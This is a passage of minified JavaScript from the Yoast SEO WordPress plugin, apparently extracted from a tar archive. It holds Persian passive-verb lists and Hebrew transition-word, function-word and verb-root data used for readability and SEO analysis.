شدند","ورانداخته شده","ورزیده شده","ویرایش شدند","یافته شدند","ستانده شده","آراسته شده","آزرده شد","آزموده شد","آشفته شد"," آغشته شده است","آفریده شدند","داشت آلوده می‌شد","داشت می‌آمد","آمیخته می‌شد","آورده می‌شد","آویخته شده","افتاده شده بود","افراشته شده","افروخته شده","داشت افزوده می‌شد","افشانده شده","داشت انباشته می‌شد","انداخته می‌شد","اندوخته می‌شد","برانگیخته شده","داشت بافته می‌شد","بخشوده شده","بخشیده شده","داشت برده می‌شد","برگردانده شده","برگزیده شده بود","بسته می‌شد","بلعیده شده","بوییده شده است","پاشیده شده است","پخته می‌شد","پذیرفته شدند","پراکنده می‌شد","پرداخته شده است","پرستیده خواهد شد","داشت پرسیده می‌شد","پژمرده می‌شد","پسندیده شده","داشت پوشیده می‌شد","پیچیده شده است","پیموده شده است","تافته شده","داشت تراشیده می‌شد","ترسانده شدند","ترکیده شده است","تکانده شده","تنیده شده است","جوشانده شده","جوشیده شده","جویده شده است","چاپیده شد","چرخیده شده","داشت چسبانده می‌شد","چسبیده شده","چشیده شده","داشت چیده می‌شد","خاسته شده","خشکیده شده","خراشیده شده","خریده شده","داشت خوانده می‌شد","خورده می‌شد","داده شده","دریده شده","داشت دزدیده می‌شد","داشت دوخته می‌شد","داشت دوشیده می‌شد","رانده شده","ربوده شده","رسانده شده است","رسیده شده است","ریخته شده","زاده شده است","زده شده","زدوده شده است","داشت ساخته می‌شد","داشت سابیده می‌شد","ستانده شده است","ستوده شده","سرشته شده است","سروده شوده است","داشتند سوخته می‌شدند","داشت سوزانده می‌شد","انجام می‌شد","شسته می‌شد","داشت شکافته می‌شد","داشت شکانده می‌شد","شکسته می‌شد","شکفته می‌شد","شمرده شده","شناسانده شده","داشت شنفته می‌شد","داشت شنیده می‌شد","طلبیده شد","فرساییده شده","فرستاده شده","داشت فرسوده می‌شد","فرموده شده است","فروخته می‌شد","فریفته شده","فشرده شده است","داشت کاسته می‌شد","کاشته شده است","کشته شده","داشت کشیده می‌شد","گفته شده است","کوبیده می‌شود","گداخته شد","گذاشته شده","گردانده شده است","گرفته شده","گزارده شده است","گزیده شدی","گسترانده شده است","گسترده شده است","گسسته شده است","گسیخته شده است","گشوده شده","گفته شده","گماشته خواهد شد","مالیده شده است","نامیده شده است","نگاشته شده","داشت نواخته می‌شد","نوردیده شده است","داشت نوشته می‌شد","نوشیده شده است","نهاده شده است","نهفته شده بود","واگذاشته شده است","وانهاده شده است","افتاده شده","ورانداخته شده است","ورزیده شده است","ویرایش شده","یافته شده","ستانده شده","آراسته شده است","آزرده شدیم","آزموده شدیم","آشفته شدیم","آغشته شده بود","آفریده شده‌ام","داشتند آلوده می‌شدند","آمیخته می‌شدند","آورده می‌شدند","آویخته شده است","افتاده شده بودند","افراشته شده است","افروخته شده است","داشتند افزوده می‌شدند","افشانده شده است","داشتند انباشته می‌شدند","انداخته می‌شدند","اندوخته می‌شدند","برانگیخته شده است","داشتند بافته می‌شدند","بخشوده شده است","بخشیده شده است","داشتند برده می‌شدند","برگردانده شده است","برگزیده خواهد شد","بسته می‌شدند","بلعیده شده است","پاشیده شده بود","پخته می‌شدند","پذیرفته شده‌ام","پراکنده می‌شدند","پرداخته شده بود","پرستیده بشود","پرسیده شده","پژمرده می‌شدند","پسندیده شده است","داشتند پوشیده می‌شدند","پیچیده شده بود","پیموده شده بود","تافته شده است","داشتند تراشیده می‌شدند","ترسانده شده","تکانده شده است","تنیده شده بود","جوشانده شده است","جوشیده شده است","جویده بشود","چاپیده شدیم","چرخیده شده است","چسبانده شده","چسبیده شده است","چشیده شده است","داشتند چیده می‌شدند","خاسته شده است","خشکیده شده است","خراشیده شده است","خریده شده است","داشتند خوانده می‌شدند","خورده می‌شدند","داده شده است","دریده شده است","دزدیده شده","داشتند دوخته می‌شدند","داشتند دوشیده می‌شدند","رانده شده است","ربوده شده است","رسانده شده بود","رسیده شده بود","ریخته شده است","زاده شده بود","زده شده است","زدوده شده بود","داشتند ساخته می‌شدند","داشتند سابیده می‌شدند","ستانده شده بود","ستوده شده است","سروده شوده بود","سوخته شده","داشتند سوزانده می‌شدند","انجام می‌شدند","شسته می‌شدند","داشتند شکافته می‌شدند","داشتند شکانده می‌شدند","شکسته می‌شدند","شکفته می‌شدند","شمرده شده است","شناسانده شده است","شنفته شده","شنیده شده","طلبیده شدیم","فرساییده شده است","فرستاده شده است","فرسوده شده","فروخته می‌شدند","فریفته شده است","فشرده شده بود","کاسته شده","کاشته شده بود","کشته شده است","کشیده شده","گفته شده بود","گذاشته شده است","گردانده بشود","گرفته شده است","گزارده شده باشد","گزیده شد","گسترانده شده بود","گسترده شده بود","گسسته شده بود","گشوده شده است","گفته شده است","مالیده می‌شود","نگاشته شده است","نواخته شده","دارد نوردیده می‌شود","داشتند نوشته می‌شدند","نوشیده شده بود","افتاده شده است","ورانداخته شده بود","ویرایش شده است","یافته شده است","ستانده شده بود","آراسته شده بود","آزرده شدید","آزموده شدید","آشفته شدید","آغشته شده بودند","آفریده شده‌ای","آلوده شده","آمده است","داشت آمیخته می‌شد","داشت آورده می‌شد","آویخته شده‌اند","افتاده خواهد شد","افراشته شده بود","افروخته شده بود","افزوده شده","افشانده شده بود","انباشته شده","داشت انداخته می‌شد","داشت اندوخته می‌شد","برانگیخته شده بود","بافته شده","بخشوده شده‌اند","بخشیده شده اند","برده شده","برگردانده شده‌اند","داشت بسته می‌شد","داشت پخته می‌شد","پذیرفته شده","داشت پراکنده می‌شد","پرداخته شود","پرسیده شده است","داشت پژمرده می‌شد","پسندیده شده بود","پوشیده شده","پیموده خواهد شد","تافته شود","تراشیده شده","ترسانده شده است","تکانده شده‌اند","جوشانده شده بود","جوشیده شده بود","چاپیده شدید","چرخیده شده بود","چسبانده شده است","چسبیده شده‌اند","چشیده شده بود","چیده شده","خاسته شده بود","خشکیده شده‌اند","خراشیده شده بود","خریده شده بودند","خوانده شده","داشت خورده می‌شد","داده شده‌اند","دزدیده شده است","دوخته شده","دوشیده شده","رانده شده بود","ربوده شده‌اند","رسانده می‌شود","رسیده خواهد شد","ریخته شده بود","زده شده بود","زدوده خواهد شد","ساخته شده","سابیده شده","ستانده شود","ستوده می‌شود","سوخته شده است","سوزانده شده","داشت انجام می‌شد","داشت شسته می‌شد","شکافته شده","شکانده شده","داشت شکسته می‌شد","داشت شکفته می‌شد","شمرده شده بود","شناسانده خواهد شد","شنفته شده است","شنیده شده است","طلبیده شدید","فرساییده شده بود","فرستاده شده بود","فرسوده شده است","داشت فروخته می‌شد","دارد فشرده می‌شود","کاسته شده است","کاشته شود","کشته شده‌اند","کشیده شده است","گفته بشود","گذاشته شده بود","گرفته شده بود","گزیده شدیم","گسسته خواهد شد","گشوده شده بود","گفته شده بود","مالیده بشود","نواخته شده است","نوردیده بشود","نوشته شده","افتاده شده بود","ورانداخته خواهد شد","ویرایش شده‌اند","یافته شده‌اند","ستانده شود","آراسته شود","آزرده شدند","آزموده شدند","آشفته شدند","آفریده شده","آلوده شده است","آمده‌اند","داشتند آمیخته می‌شدند","داشتند آورده می‌شدند","آویخته شده بود","افتاده خواهند شد","افراشته بشود","افروخته می‌شود","افزوده شده است","افشانده شده بودند","انباشته شده است","داشتند انداخته می‌شدند","اندوخته شده","برانگیخته شود","بافته شده است","بخشوده شود","بخشیده شود","برده شده است","برگردانده شده بود","داشتند بسته می‌شدند","پخته شده","پذیرفته شده است","داشتند پراکنده می‌شدند","پرداخته خواهد شد","پرسیده شده‌اند","داشتند پژمرده می‌شدند","پسندیده شود","پوشیده شده است","پیموده بشود","تافته بشود","تراشیده شده است","ترسانده شده‌اند","دارد جوشانده می‌شود","جوشیده شود","چاپیده شدند","چرخیده شده بودند","چسبانده شده بود","چسبیده شده بود","چشیده شود","چیده شده است","خشکیده خواهد شد","خراشیده شده بودند","خریده خواهد شد","خوانده شده است","داشتند خورده می‌شدند","داده شده بود","دزدیده شده‌اند","دوخته شده است","دوشیده شده است","رانده شده باشد","ربوده شده بود","رسانده خواهد شد","رسیده شده باشد","دارد ریخته می‌شود","دارد زده می‌شود","ساخته شده است"," سابیده شده است","ستانده خواهد شد","ستوده می‌شوند","سوخته شده‌اند","سوزانده شده است","داشتند انجام می‌شدند","داشتند شسته می‌شدند","شکافته شده است","شکانده شده است","داشتند شکسته می‌شدند","داشتند شکفته می‌شدند","شمرده شده بودند","شناسانده خواهند شد","شنفته می‌شود","شنیده شده بود","طلبیده شدند","فرساییده خواهد شد","فرستاده خواهد شد","فرسوده شده بود","داشتند فروخته می‌شدند","فشرده خواهد شد","کاسته شده بود","کاشته خواهد شد","کشته شده بود","کشیده شده بود","گرفته می‌شود","گزیده شدید","گشوده شده بودند","گفته شده باشد","نواخته شده بود","نوشته شده است","افتاده شده بودند","ورانداخته خواهند شد","ویرایش شده بود","یافته شده بود","ستانده خواهد شد"],{areWordsInSentence:f}=n.languageProcessing;function m(e){return f(p,e)}const{AbstractResearcher:y}=n.languageProcessing;class b extends y{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{passiveConstructionType:"morphological",language:"fa",functionWords:o,transitionWords:r,twoPartTransitionWords:a,sentenceLength:c,firstWordExceptions:i}),Object.assign(this.helpers,{createBasicWordForms:g,getStemmer:d,isPassiveSentence:m})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/he.js000064400000061065147510273070013655 0ustar00(()=>{"use strict";var e={d:(t,r)=>{for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>R});const r=window.yoast.analysis,n=["לכן","משום‎","בגלל","מפני","אחרי","לפני","חוץ","בזכות","כתוצאה","הודות","בשביל","למרות‎","בשל‎","ו","או","אבל","אולם","אך","אם","גם","רק","אכן","אלא","עדיין","כאשר","אז","לכן","כבר","לאחר","אפילו","אף","כך","כדי","על","עד","בשנת","כמו","שני","באופן","במהלך","במקום","וכן","בעיקר","מאז"," בינתיים","במקום","תחת","מתוך","מול","כגון","באמצעות","מכן","במשך","ואף","ועל","לעתים","בנוסף","בעקבות","לפי","בקרב","כי","ראשית","שנית","תחילה","לבסוף","הבא","ברם","ואילו","להפך","כנגד","מנגד","אמנם","אדרבא","לחילופין","בייחוד","במיוחד","ודאי","ואפילו","לו","אילו","לולא","אלמלא","אילולא","מאחורי","בקרבת","כאן","שם","כן","למעט","בלבד","מלבד","שוב","כלומר","דהיינו","לאמור","כאמור","כידוע","כש","אחר-כך","כעבור","לאחרונה","בטרם","עכשיו","עתה","מלכתחילה","למען","פן","לבל","שמא","עקב","לרגל","מפאת","בגין","בהתאם","לפיכך","למשל","לדוגמה","כדוגמת","לסיכום","בהתחשב","בקיצור","בקצרה","חרף"],s=n.concat(["כתוצאה מכך","כתוצאה מ","בעקבות ה","בעקבות זאת","לעומת זאת","אלא אם כן","בזמן ש","מתי ש","אף על פי ש","אף על פי","חוץ מ","אחרי ש","לפני ש","בעוד ש","בגלל ה","הודות ל","בניגוד ל","מפני ש","אלא ש","קודם כל","והחשוב ביותר","לפני כן","לאחר מכן","אחר כך","שלב ראשון","בניגוד לכך","ראוי לציין","יש להדגיש","ללא ספק","קל וחומר","אין ספק ש","לא כל שכן","בתנאי ש","בדומה ל","כשם ש","כפי ש","כך גם","יחסית ל","בהשוואה ל","לשם כך","במקביל ל","במידה ש","במקום ש","על יד","בסמוך ל","במרחק מה","אל אשר","מעבר ל","כמו כן","יתר על כן","זאת ועוד","נוסף על כך","פרט ל","למעלה מכך","פנים נוספות לעניין","יתרה מכך","אך ורק","מעבר לכך","זאת אומרת","במילים אחרות","רוצה לומר","הווה אומר","משתמע מזאת","הוא אשר","ללמד ש","פירושו של דבר","לשון אחרת","בהקשר זה","דרך אגב","כדי ש","כנזכר לעיל","בקשר לכך","במסגרת זו","עד ש","בשעה ש","כל זמן ש","לפי שעה","בזמן האחרון","עד כה","בו בזמן","כל אימת ש","על מנת","לתכלית זו","במטרה ל","מחמת ה","הואיל ו","מאחר ש","היות ש","כיוון ש","יען כי","באופן ש","בצורה ש","כמו ש","אם כן","אפוא","על כן","משום כך","עקב כך","בשל כך","אי לכך","נובע מכך","הודות לכך","כמו למשל","סיכומו של דבר","מכל האמור ניתן לומר","בסך הכול","בכל מקרה","בסיכום כולל","לטווח ארוך","על כל פנים","אף על פי כן","על אף ש","על אף זאת","אף ש","למרות זאת","בכל אופן","עם זאת","אם כי","גם אם"]),i=function(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}([].concat(["אחת","אחד","שתים","שנים","שתיים","שלש","שלשה","ארבע","ארבעה","חמש","חמשה","שש","ששה","שבע","שבעה","שמונה","שמונה","תשע","תשעה","עשר","עשרה","עשרים","מאה","אלף","מיליון","מילירד"],["ראשון","ראשונה","שני","שניה","שלישי","שלישית","רביעי","רביעית","חמישי","חמישית","ששי","ששית","שביעי","שביעית","שמיני","שמינית","תשיעי","תשיעית","עשירי","עשירית"],["אני‎","אנחנו‎","אנו‎","אתה‎","את‎","אתם‎","אתן‎","הוא‎","היא‎","הם‎","הן‎","שאני","שאתה","שהוא","ואני","שהיא"],["זה","זאת","זו","ההוא","ההיא","איזה","איזו","אלה","אלו","ההם","ההן","אילו","לזה","הזה","שזה"],["מה","מי","למה","כמה","האם","איפה","איזה","איזו","אילו","מתי","כאשר","איך","אי","אלמלא"],["כולם","כול","רוב","חלק","פחות","מעט","הרבה","רב","רבה","רבים","רבות","לפחות"],["עצמי","לעצמי","בעצמי","עצמך","לעצמך","בעצמך","עצמך","לעצמך","בעצמך","עצמו","עצמה","עצמנו","עצמכם","עצמכן","עצמם","עצמן"],["משהו","מישהו","מישהי","כלום"],["את","אותי","אותנו","אותך","אתכם","אתכן","אותו","אותה","אותם","אותן","שאת","של","שלי","שלנו","שלך","שלכם","שלכן","שלו","שלהם","שלהן","לי","לך","לו","לה","לנו","לכם","לכן","להם","להן","על","עליי","עלינו","עליך","עלייך","עליכם","עליכן","עליו","עליה","עליהם","עליהן","גבי","גבנו","גבך","גבה","גבנו","גבכם","גבכן","גבם","גבן","אל","אליי","אלינו","אליך","אלייך","אליכם","אליכן","אליו","אליה","אליהם","אליהן","ואל","עם","איתי","עימי","איתנו","עימנו","איתך","עימך","איתכם","איתכן","איתו","איתה","איתם","עימם","כמו","כמוני","כמונו","כמוך","כמוך","כמוכם","כמוכן","כמוהו","כמוה","כמוהם","כמוהן","כמוכם","כמוכן","לפני","לפניי","לפנינו","לפניך","לפנייך","לפניו","לפניה","לפניכם","לפניכן","לפניהם","לפניהן","ובכן","בן","בי","בנו","בך","בכם","בכן","בו","בה","בהם","בהן","בגלל","בגללי","בגללנו","בגללך","בגללכם","בגללכן","בגללו","בגללה","בגללם","בגללן","אחר","אחריי","אחרינו","אחריך","אחרייך","אחריכם","אחריכן","אחריו","אחריה","אחריהם","אחריהן","בשביל","בשבילי","בשבילנו","בשבילך","בשבילו","בשבילה","בשבילכם","בשבילכן","בשבילם","בשבילן","במקום","במקומי","במקומנו","במקומך","במקומו","במקומה","במקומכם","במקומכן","במקומם","במקומן","עד","אודות","אודותי","אודותנו","אודותך","אודותכם","אודותכן","אודותו","אודותה","אודותם","אודותן","מאחורי","מאחוריי","מאחורינו","מאחוריך","מאחורייך","מאחוריכם","מאחוריכן","מאחוריו","מאחוריה","מאחוריהם","מאחוריהן","אצל","אצלי","אצלנו","אצלך","אצלך","אצלכם","אצלכן","אצלו","אצלה","אצלם","אצלן","באמצעות","באמצעותי","באמצעותנו","באמצעותך","באמצעותכם","באמצעותכן","באמצעותו","באמצעותה","באמצעותם","באמצעותן","בזכות","בזכותי","בזכותנו","בזכותך","בזכותכם","בזכותכן","בזכותו","בזכותה","בזכותם","בזכותן","ביני","בינינו","בינך","ביניכם","ביניכן","בינו","בינה","ביניהם","ביניהן","בלעדיי","בלעדינו","בלעדיך","בלעדייך","בלעדיכם","בלעדיכן","בלעדיו","בלעדיה","בלעדיהם","בלעדיהן","בעד","בעדי","בעדנו","בעדך","בעדך","בעדכם","בעדכן","בעדו","בעדה","בעדם","בעדן","בעקבות","בעקבי","בעקביי","בעקבינו","בעקביך","בעקבייך","בעקביכם","בעקביכן","בעקביו","בעקביה","בעקביהם","בעקביהן","בפני","בפניי","בפנינו","בפניך","בפנייך","בפניכם","בפניכן","בפניו","בפניה","בפניהם","בפניהן","בקרב","בקרבי","בקרבנו","בקרבך","בקרבך","בקרבכם","בקרבכן","בקרבו","בקרבה","בקרבם","בקרבן","בשם","בשמי","בשמנו","בשמך","בשמך","בשמכם","בשמכן","בשמו","בשמה","בשמם","בשמן","בתוך","בתוכי","בתוכנו","בתוכך","בתוכך","בתוככם","בתוככן","בתוכו","בתוכה","בתוכם","בתוכן","כמוני","כמונו","כמוך","כמוך","כמוכם","כמוכן","כמוהו","כמוה","כמוהם","כמוהן","כלפי","כלפיי","כלפינו","כלפיך","כלפייך","כלפיכם","כלפיכן","כלפיו","כלפיה","כלפיהם","כלפיהן","כנגד","כנגדי","כנגדנו","כנגדך","כנגדך","כנגדכם","כנגדכן","כנגדו","כנגדה","כנגדם","כנגדן","לאורך","לאורכי","לאורכנו","לאורכך","לאורכך","לאורככם","לאורככן","לאורכו","לאורכה","לאורכם","לאורכן","לגבי","לגביי","לגבינו","לגביך","לגבייך","לגביכם","לגביכן","לגביו","לגביה","לגביהם","לגביהן","לדברי","לדבריי","לדברינו","לדבריך","לדברייך","לדבריכם","לדבריכן","לדבריו","לדבריה","לדבריהם","לדבריהן","ליד","לידי","לידנו","לידך","לידך","לידכם","לידכן","לידו","לידה","לידם","לידן","למען","למעני","למעננו","למענך","למענך","למענכם","למענכן","למענו","למענה","למענם","למענן","לפי","לפי","לפינו","לפיך","לפיך","לפיכם","לפיכן","לפיו","לפיהו","לפיה","לפיהם","לפיהן","לקראת","לקראתי","לקראתנו","לקראתך","לקראתך","לקראתכם","לקראתכן","לקראתו","לקראתה","לקראתם","לקראתן","לרוחב","לרוחבי","לרוחבנו","לרוחבך","לרוחבך","לרוחבכם","לרוחבכן","לרוחבו","לרוחבה","לרוחבם","לרוחבן","מול","מולי","מולנו","מולך","מולך","מולכם","מולכן","מולו","מולה","מולם","מולן","מן","ממני","ממנו","מאיתנו","ממך","ממך","מכם","מכן","ממנו","ממנה","מהם","מהן","מעל","מעליי","מעלינו","מעליך","מעלייך","מעליכם","מעליכן","מעליו","מעליה","מעליהם","מעליהן","מפני","מפניי","מפנינו","מפניך","מפנייך","מפניכם","מפניכן","מפניו","מפניה","מפניהם","מפניהן","מתחת","מתחתיי","מתחתינו","מתחתיך","מתחתייך","מתחתיכם","מתחתיכן","מתחתיו","מתחתיה","מתחתיהם","מתחתם","מתחתיהן","מתחתן","עבור","עבורי","עבורנו","עבורך","עבורכם","עבורכן","עבורו","עבורה","עבורם","עבורן","תחת","תחתיי","תחתינו","תחתיך","תחתייך","תחתיכם","תחתיכן","תחתיו","תחתיה","תחתיהם","תחתם","תחתיהן","תחתן","לעומת","לעומתי","לעומתנו","לעומתך","לעומתך","לעומתכם","לעומתכן","לעומתו","לעומתה","לעומתם","לעומתן","פי"],["אבל","אך","אלא","אם","אז","או","כדי","כי","אכן","אגב","אולם","אע״פ","אשר","בעוד","ו/או","יען","לולא","פן"],["אומר","אומרת","אומרים","אומרות","אמרתי","אמרנו","אמרת","אמרתם","אמרתן","אמר","אמרה","אמרו","נאמר","תאמר","תאמרי","תאמרו","תאמרנה","יאמר","תאמר","תאמרנה","יאמר","יאמרו","אמור","אמרי","אמורנה","מדבר","מדברת","מדברים","מדברות","דיברתי","דיברנו","דיברת","דיברתם","דיברתן","דיבר","דיברה","דיברו","אדבר","נדבר","תדבר","תדברי","תדברו","תדברנה","ידבר","ידברו","דבר‏","דברי‏","דברו‏","דברנה‏","לדבר","מבין","מבינה","מבינים","מבינות","הבנתי","הבינותי","הבנו","הבינונו","הבנת","הבינות","הבנתם","הבינותם","הבנתן","הבינותן","הבין","הבינה","הבינו","אבין","נבין","תבין","תביני","תבינו","תבנה","יבין","יבינו","תבינינה","הבן‏","הביני‏","הבנה‏","להבין","מאמין","מאמינה","מאמינים","מאמינות","האמנתי","האמנו","האמנת","האמנתם","האמנתן","האמין","האמינה","האמינו","אאמין","נאמין","תאמין","תאמיני","תאמינו","תאמנה","יאמין","יאמינו","האמן‏","האמיני‏","האמינו‏","האה‏","להאמין","יודע","יודעת","יודעים","יודעות","ידעתי","ידענו","ידעת","ידעתם","ידעתן","ידע","ידעה","ידעו","אדע","נדע","תדע","תדעי","תדעו","תדענה","דע‏","דעי‏","דעו‏","דענה‏","לדעת","שואל","שואלת","שואלים","שואלות","שאלתי","שאלנו","שאלת","שאלתם","שאלתן","שאל","שאלה","שאלו","אשאל","נשאל","תשאל","תשאלי","תשאלו","תשאלנה","ישאל","ישאלו","שאל‏","שאלי‏","שאלו‏","שאלנה‏","לשאול"],["מאוד","בהחלט","ביותר","נורא","לגמרי","די"],["להיות","היי","הייתי","יהיה","היית","הייתה","היינו","הייתם","הייתן","היו","אהיה","תהיה","תהיי","יהיה","נהיה","תהיו","תהיינה","יהיו","היינה","יש","שיש","הנה","אין","רוצה","רוצים","רציתי","רצה","יכול","יכולה","יכולים","נוכל","צריך","צריכה","חייב","לעשות","עושה","חושב","חשבתי","חושבת","נראה","לראות","רואה","בוא","הולך","ללכת","הולכת","הלכתי","הלכת","הלכת","הלך","הלכה","אלך","תלך","תלכי","ילך","לכי","הולכים","הולכות","הלכנו","הלכתם","הלכתן","הלכו","נלך","תלכו","תלכנה","ילכו","לכו","לכנה","מצטער","קרה","קורה","אוהב","שום","להשתמש","לנסות","מנסה","לוקח","אקח","לשים","נותן","נותנת","נותנים","נותנות","נת","תינתנו","נתת","נתתם","נתתן","נתן","נתנה","נתנו","אתן","ניתן","תיתן","תיתני","תיתנותיתנה","ייתןנתתתיתן","ייתנו","תיתנה","תן‏","תני‏","תנו‏","תנה‏","לתת"],["רק","כל","יותר","כאן","כך","כה","נכון","עכשיו","עכשיו","שם","קדימה","אף","עוד","באמת","ממש","אולי","כבר","פה","קצת","עדיין","בדיוק","שוב","תמיד","אפילו","בטח","מאוחר","לאחרונה","בקרוב","מיד","בחוץ","מהר","קשה","לאט","לרוב","כמעט","בדרך","כלל","לפעמים","יחד","לבד","אחורה","כאילו","גם","בערך","הכי","מלא","מלאה","מלאים","מלאות","טוב","טובה","טובים","טובות","חדש","חדשה","חדשים","חדשות","ישן","ישנה","ישנים","ישנות","צעיn","צעירה","צעירים","צעירות","גדול","גדולה","גדולים","גדולות","קל","קלה","קלים","קלות","מהיר","מהירה","מהירים","מהירות","רחוק","רחוקה","רחוקים","רחוקות","נחמד","נחמדה","נחמדים","נחמדות","מיוחד","מיוחדת","מיוחדים","מיוחדות","פשוט","פשוטה","פשוטים","פשוטות","קטן","קטנה","קטנים","קטנות","ארוך","ארוכה","ארוכים","ארוכות","קצר","קצרה","קצרים","קצרות","נמוך","נמוכה","נמוכים","נמוכות","שלם","שלמה","שלמים","שלמות","גבוה","גבוהה","גבוהים","גבוהות","חשוב","חשובה","חשובים","חשובות"],["ח","הו","וואו"],['ק"ג',"ג'","גרם",'סמ"ק','מ"ל',"ליטר","כף","כפית","כוס","כוסות"],["היום","אתמול","מחר","יום","ימים","שבוע","בשבוע","שבועות","שעה","שעות","דקה","דקות","רגע","רגעים","חודש","חודשים","שנה","שנים","השנה"],["דבר","פעם","פעמים","זמן","הזמן","הכל","בכל","אנשים","מקום","לעתים","מספר","אחוז","אחוזים"],["כן","לא","שלא","בסדר","תודה","בבקשה","שלום","אחוז","מר","אדוני","גברת","אדם"],n)),o=[["או","או"],["אין","אלא"],["לא","אלא"],["מצד אחד","מצד אחר"],["מחד גיסא","מאידך גיסא"],["ראשית","שנית"],["תחילה","לבסוף"],["משום ש","מפני ש"],["לכאורה","אך"]],f=["אחד","כמה","מעטים","אחת","שנים","שתים","שלשה","שלש","ארבעה","ארבע","חמשה","חמש","ששה","שש","שבעה","שבע","שמונה","שמונה","תשעה","תשע","עשרה","עשר","זה","זאת","אלה","אוה","היא","אלה","המה","הם","הנה"],c={recommendedLength:15},u=["ב","ה","ו","כ","ל","מ","ש"],a=new RegExp(`^(${u.join("|")})`);function x(e){const t=[];t.push(...u.map((t=>t+e)));const{stem:r,prefix:n}=function(e,t){let r=e,n="";const s=e.match(t);return s&&(n=s[0],r=e.slice(n.length)),{stem:r,prefix:n}}(e,a);return""!==n&&(t.push(r),t.push(...u.map((e=>e+r)))),t}const p=window.lodash,g=function(e,t){return t.some((t=>e.startsWith(t)))?e.slice(1):e},{baseStemmer:l}=r.languageProcessing;function d(e){const t=(0,p.get)(e.getData("morphology"),"he",!1);return t?e=>function(e,t){const r=t.dictionary;let n=r[e];if(n)return n;const s=g(e,t.prefixes);if(s!==e){if(n=r[s],n)return n;const e=g(s,t.prefixes);if(e!==s&&(n=r[e],n))return n}return e}(e,t):l}const h=["אכל","דבר","עבר","עמד","קרא","שמע","זכר","חזק","חטא","כתב","מלך","מצא","נגד","נפל","עבר","פקד","רום","שכב","אבד","אמן","גדל","חשב","יטב","כבד","לבש","קדש","קרב","שנא","שאל","שאר","שבע","שחת","שכן","שכח","שלך","שלם","בער","בקע","ברא","ברח","דבק","דרך","זעק","חלק","חרם","חרש","כעס","כשל","מאס","משל","נבט","נחל","נצח","סגר","סתר","ערך","פרה","פלא","פלל","פעל","פרד","פרש","צלח","צרר","קלל","קנה","רחק","רכב","רעע","שבע","שכל","שכם","אשם","בדל","בהל","בחן","בשל","גבה","גנב","זרק","חלם","חלף","חרב","חרד","חרף","חשך","חתם","טמן","טרף","כלם","כנע","כרע","משך","נהג","סמך","פחד","פרד","פרח","פשט","צדק","צמח","צפן","קדם","קצף","קשב","רבץ","רגז","רגל","רחב","רעש","רשע","שפל","שקט","ברר","גבר","געל","טעם","כזב","כחש","כנס","לחץ","מטר","מעט","מרד","משל","נגש","נזל","עלם","עצב","עשר","פגש","פרע","צבא","צמת","קסם","רבע","רגע","רעב","רעם","רקע","שאב","שבח","שחר","שכל","שכר","שען","שקף","שתל","שלכ‎","מלכ‎","דרכ‎","ערכ‎","חשכ‎","משכ‎","סמכ‎","אמנ","שכנ","בחנ","טמנ","צפנ","שענ","רומ","שלמ","חרמ","שכמ","אשמ","חלמ","חתמ","כלמ","קדמ","עלמ","טעמ","חלפ","חרפ","טרפ","קצפ","שקפ","רבצ","לחצ"],m=["אכל","אמר","לקח","נשא","נתן","קרא","שלח","שמע","אהב","אסף","כרת","כתב","מצא","פקד","שמר","שפט","אבד","אמן","גאל","דרש","הרג","חשב","טמא","יתר","לכד","ספר","עזב","קבץ","קבר","רדף","שרף","שאל","שבר","שחת","שכח","שלם","שפך","אסר","בחר","בלע","בקע","ברא","דרך","זרע","חלק","חנן","חרש","טהר","למד","מכר","משל","סגר","סתר","עזר","ערך","פרד","פרש","צפה","קנה","קרע","רחץ","רפא","שבע","שחט","שמר","תפש","תקע","אשם","בגד","בדל","בחן","גזל","גמל","גנב","הרס","זרק","חבא","חבש","חלץ","חצב","חקר","חרב","חתם","טמן","טרף","לקט","מנע","סלח","סמך","ספר","עצר","פגע","פלט","פרד","פרץ","פשט","צפן","קצר","קשר","רעש","רצח","שחק","שטף","אטם","אלם","ארג","בצע","גאל","גדר","גזז","גזר","גלח","גרע","דחה","דקר","חבל","חרש","חכה","חפר","חקק","חרץ","חשק","טבח","טבל","טבע","כבש","כלא","לחץ","מחץ","מסס","משל","נשא","סחר","סלל","סער","סקל","סתם","עטף","עכר","פרע","פרק","רמס","שאב","שאף","שבר","שכר","שלל","שלף","שקל","שקף","שתל","תכן","תמך","תעב","שפכ‎","דרכ‎","ערכ‎","סמכ‎","תמכ‎","נתנ","אמנ","חננ","בחנ","טמנ","צפנ","תכנ","שלמ","אשמ","חתמ","אטמ","אלמ","סתמ","אספ","רדפ","שרפ","טרפ","שטפ","עטפ","שאפ","שלפ","שקפ","קבצ","רחצ","חלצ","פרצ","חרצ","לחצ","מחצ"],y=["אכל","דבר","עבר","שלח","בקש","ברך","חזק","חטא","כתב","נצל","עבר","פקד","רום","שמר","אבד","אמן","בטח","גדל","הלל","חלל","חשב","טמא","יתר","כבד","כסה","כפר","לחם","לכד","נבא","נגע","סבב","ספר","קבץ","קדש","קרב","שמח","שבר","שכן","שלם","שרת","בער","בקע","ברא","חלק","חנן","טהר","כבס","למד","מרר","מהר","מלט","נכר","נצח","פלל","פרש","צפה","קלל","רחם","רחק","רנן","רפא","שמר","בדל","בצר","בשל","גרש","דמם","זמר","חבר","מאן","נשק","נתץ","נתק","ספר","ערב","פשט","צרף","קדם","קנא","קצר","קשר","רגל","שחק","בצע","ברר","בשר","גדר","גלל","דכא","דשן","חבל","חבק","חמם","חפש","חשק","כהן","כזב","כנס","מסס","מעט","מרר","נגן","נדב","נהל","נחש","נער","נפח","נפץ","נשך","סכך","סכן","סקל","עלל","ענג","עצב","פאר","פזר","פצה","פקח","פרק","פתה","קבל","קדד","קצץ","רמה","רצץ","רקע","שבח","שבר","שנה","שקר","שקף","תכן","תעב","ברכ‎","נשכ‎","סככ‎","אמנ","שכנ","חננ","רננ","מאנ","דשנ","כהנ","נגנ","סכנ","תכנ","רומ","לחמ","שלמ","רחמ","דממ","קדמ","חממ","צרפ","שקפ","קבצ","נתצ","קצצ","רצצ","נפצ"],{getWords:w}=r.